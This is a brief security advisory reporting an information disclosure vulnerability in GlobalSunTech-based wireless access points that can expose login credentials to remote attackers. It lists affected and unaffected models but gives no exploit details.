||
|
||
An information disclosure vulnerability has been discovered in GlobalSunTech access points.
|
||
|
||
It has been reported that a remote attacker is able to retrieve sensitive information from vulnerable access points, including AP login credentials.
|
||
|
||
Information gained by exploiting this vulnerability may allow an attacker to launch further attacks against the target network.
|
||
|
||
It should be noted that this vulnerability was reported for a WISECOM GL2422AP-0T access point. Devices that use Global Sun Technology access points may be affected by this issue.
|
||
|
||
It has been determined that D-Link DI-614+ and SMC Barricade 7004AWBR access points are not affected by this issue.
|
||
|
||
It has been reported that Linksys WAP11-V2.2 is prone to this issue, but to a lesser extent.
